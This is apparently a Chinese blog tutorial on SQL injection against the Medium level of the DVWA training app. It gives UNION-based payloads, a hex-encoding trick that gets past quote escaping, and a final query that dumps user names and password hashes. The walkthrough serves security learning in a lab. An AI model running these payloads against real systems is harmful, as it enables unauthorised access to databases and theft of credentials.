渗透测试之DVWA的Medium级别的SQL注入

Medium SQL Injection Source是通过一个下拉表的方式提交数据的。选择数据后提交,发现URL不是GET注入是把提交的数据存放到post数据中

渗透测试之DVWA的Medium级别的SQL注入_第1张图片

先把源代码放出来

' . mysql_error() . '
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } //mysql_close(); } ?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

我们可以用hackbar或者用burpsuite抓包试一下。

一:Hack Bar

1、添加post数据如下 ,点击POST

渗透测试之DVWA的Medium级别的SQL注入_第2张图片

2、我们可以在这里添加注入语句:id=3 union select 1,database()#&Submit=Submit。获得当前数据库为dvwa,再用LOW级别手工注入同样的方法获取其他数据库信息。

渗透测试之DVWA的Medium级别的SQL注入_第3张图片

二:BurpSuite

这里我说一下代理工具Proxy SwitchyOmega,可以轻松快捷地管理和切换多个代理设置。BurpSuite抓包改参数,提交恶意构造的查询参数。
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为2' or 1=1 #,报错。也可以右键Send to Repeater发送到Repeater,在Repeater模拟浏览器访问,成功了再改。

渗透测试之DVWA的Medium级别的SQL注入_第4张图片

抓包更改参数id为2 or 1=1 #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第5张图片

说明存在数字型注入。由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。

2、猜解SQL查询语句中的字段数。抓包更改参数id为2 order by 2 #,查询成功。抓包更改参数id为2 order by 3 #,报错。

渗透测试之DVWA的Medium级别的SQL注入_第6张图片

渗透测试之DVWA的Medium级别的SQL注入_第7张图片

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

3、确定显示的字段顺序。抓包更改参数id为2 union select 1,2 #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第8张图片

4、获取当前数据库。抓包更改参数id为2 union select 1,database() #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第9张图片

5、获取数据库中的表。抓包更改参数id为2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第10张图片

一共有两个表,guestbook与users。

6、获取表中的字段名。抓包更改参数id为2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,查询失败。

渗透测试之DVWA的Medium级别的SQL注入_第11张图片

这是因为单引号被转义了,变成了\'。可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第12张图片

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7、下载数据。抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功。

渗透测试之DVWA的Medium级别的SQL注入_第13张图片

你可能感兴趣的:(渗透测试)